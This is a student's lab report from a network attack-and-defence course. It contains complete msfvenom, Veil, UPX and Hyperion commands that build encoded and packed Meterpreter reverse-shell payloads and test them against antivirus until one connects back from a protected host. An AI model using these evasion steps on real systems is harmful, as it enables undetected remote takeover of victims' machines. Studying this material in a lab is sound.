20222415 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

RukiTing發表於2024-10-31

1.實驗內容

學習了惡意程式碼和惡意程式碼的分析,並介紹了資訊蒐集技術和怎樣進行資訊蒐集。

2.實驗過程

1.1 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
(1)使用msf生成可執行檔案並檢測
生成payload並檢測
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_0.exe


進行編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_1.exe


多次編碼
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f exe > 20222415_msf_encode_10.exe


混合編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.154.122 LPORT=8110 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 5 -b '\x00' -f exe > 20222415_msf_encode_mix.exe


選擇一個適用於Java環境的payload來生成jar檔案
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f jar > 20222415_msf_jar.jar
使用編碼器對payload進行編碼
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 - e x86/shikata_ga_nai -i 10 -f jar > 20222415_msf_jar_encode.jar



生成一個反向 TCP 連線的 Linux elf 可執行檔案
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -f elf > 20222415_msf_elf.elf
使用編碼器對payload進行編碼
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.122 LPORT=8110 -e x86/shikata_ga_nai -i 10 -f elf > 20222415_msf_elf_encode.elf


(2)使用veil
安裝veil
這裡由於我安裝veil的過程太過於曲折,反覆嘗試,多方求索,用盡了所有的力氣和手段,所有最以雖然安裝好了,但是我也不清楚我做對了什麼又做錯了什麼,因此veil安裝過程在這裡省略。
貼一張快成功之前的截圖

輸入veil啟動,再輸入use evasion進入evasion
輸入list檢視payload型別

我們要使用的是7)c/meterpretermrev_tcp.py,所以輸入use 7選擇payload
輸入set LHOST 172.16.227.205設定反彈連結ip
set LPORT 8888設定埠
generate生成
在Please enter the base name for outpot files(default is payload):後輸入想取的檔名veil_trq2415


使用VirusTotal對生成的檔案進行檢測

(3)使用C + shellcode程式設計
輸入命令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.227.205 LPORT=8888 -f c生成shellcode

將shellcode寫入c程式中

進行靜態編譯

使用VirusTotal進行檢測

(4)加殼
upx加殼:輸入upx shellcode2415.exe -o shellcode2415_upx.exe

hyperion加殼:輸入cp shellcode2415.exe /usr/share/windows-resources/hyperion
輸入cd /usr/share/windows-resources/hyperion進入資料夾,輸入ls檢視生成的可執行檔案;
輸入wine hyperion.exe -v shellcode2415.exe shellcode_hyperion_2415.exe

使用VirusTotal進行檢測


2.2透過組合應用各種技術實現惡意程式碼免殺
(1)第一次我嘗試了組合技術:msfvenom生成Shellcode陣列,將shellcode分散到數個陣列中儲存,將陣列按序輸入檔案,使用另一個陣列讀取檔案內容即shellcode。

很明顯沒成功。
(2)第二次採用了shellcode+兩次編碼+c語言半手工程式設計的方法
`msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=172.16.22.205 LPORT=2422 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c > shellzuhe2.c


又失敗了。
(3)不知道怎麼就實現的一次(win11 聯想電腦管家)
在進行回連後,使用(2)生成的檔案莫名其妙實現免殺了
在我完成回連後再次進行檢測,發現我的防毒軟體檢測不出來這個程式了,為了避免是我無意間讓我的殺軟忽視了這個程式,我再次編譯重新生成了可執行檔案shellcodeceshi.exe放主機上,沒檢測出來(截圖已經手動查殺了)

又又為了避免是因為我之前忽視過shellcodezuhe.exe,導致同一個c檔案編譯出來的程式也被殺軟放過,所以我把shellcodezuhe.exe從信任區和隔離區裡移除後再次查殺,真沒殺出來。

2.3用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
由於實在是沒實現免殺,所以為了完成這步,我只能讓防毒軟體饒了我的程式,進行連線,連線步驟基本和實驗二相同,只是在主機上執行的是本次實驗生成的程式shellcodezuhe.exe,也是成功連線上了

3.問題及解決方案

  • 問題1:veil安裝
  • 問題1解決方案:過程太過曲折,在我同veil互相折磨的整整一天時間裡,我也不知道我做對了什麼終於感動了veil之神讓這個軟體成功地降臨我親愛的kali上,我只能把我參考的連結都貼上來
    https://blog.csdn.net/cyjyjj/article/details/117447122
    https://blog.csdn.net/qq_19623861/article/details/119360267
    https://blog.csdn.net/Goodric/article/details/123806240
    https://www.cnblogs.com/qbll/p/14618103.html#5安裝vei
  • 問題2:虛擬機器記憶體不夠用
  • 問題2解決方案:進行kali磁碟擴容
    參考https://zhuanlan.zhihu.com/p/574737232

4.學習感悟、思考等

本次實驗比前幾次實驗都要痛苦很多,最主要的就是veil的安裝,這步不是最難的,但是是最折磨人的,但是我最後還是憑藉我的毅力感動了機魂。本次實驗最主要的是最後組合實現免殺,進行了幾種嘗試,也和同學進行過幾次溝通,都沒有實現,但是最後的程式又確實表現出了免殺,我目前還是沒分析明白。本次實驗充分展現了我使不完的牛勁,也暴露出我千瘡百孔的知識面,我會在之後繼續進行學習,彌補我的不足。

相關文章